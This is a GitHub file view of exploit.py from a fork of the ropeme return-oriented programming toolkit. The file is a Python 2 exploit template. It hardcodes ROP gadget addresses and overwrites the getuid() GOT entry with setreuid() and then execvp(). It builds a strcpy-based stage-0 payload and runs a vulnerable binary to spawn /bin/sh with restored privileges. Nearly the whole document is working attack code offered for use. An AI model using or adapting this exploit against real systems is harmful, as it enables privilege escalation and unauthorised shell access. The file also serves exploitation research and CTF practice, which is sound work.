forked from packz/ropeme
-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploit.py
executable file
·68 lines (51 loc) · 1.94 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python2
import struct
import os
import sys
from ropeme.payload import *
# exploit template
def exploit(program, libc, memdump = ""):
P = ROPPayload(program, libc, memdump, debug=1)
# these gadgets address can be found by ropshell.py or ropsearch.py
### start ###
# pop ecx ; pop ebx ; leave ;; = 0x8048624
# pop ebp ;; = 0x80484b4
# add [ebp+0x5b042464] ecx ; pop ebp ;; = 0x80484ae
### end ###
P.gadget_address["addmem_popr1"] = 0x8048624
P.gadget_address["addmem_popr2"] = 0x80484b4
P.gadget_address["addmem_add"] = 0x80484ae
P.gadget_address["ret"] = 0x8048574
# set the custom stack address if required
P.stack = 0x08049410
# stage-1: overwrite GOT entry of getuid() with setreuid()
target = "getuid"
stage1 = P.got_overwrite(target, target, "setreuid", 1, -16, 0x5b042464)
# stage-1: call setreuird() via getuid@PLT to restore ruid/euid
stage1 += P.stage1_setreuid(target, -1, 99)
stage1 += P.stage1_setreuid(target, 99, -1)
# stage-1: overwrite GOT entry of getuid() with execve() which points to setreuid() in previous step
stage1 += P.got_overwrite(target, "setreuid", "execvp", 1, -16, 0x5b042464)
# stage-1: call execve("/bin/sh") via getuid@PLT
stage1 += P.stage1_execve(target, "/bin/sh")
# generate stage-0
stage0 = P.gen_stage0("strcpy", stage1, 1024, badchar = [0x00], format = "raw")
# padding data
padding = P.hex2str(P.gadget_address["ret"]) * 70
#print >> sys.stderr, "Payload:\n" + (padding + stage0).encode('hex')
#print padding + stage0
# launch the vulnreable
os.execve(program, [program, padding + stage0], os.environ)
if (__name__ == "__main__"):
import sys
import binascii
try:
program = sys.argv[1]
except:
pass
libc = "/lib/libc.so.6"
try:
libc = sys.argv[2]
except:
pass
exploit(program, libc)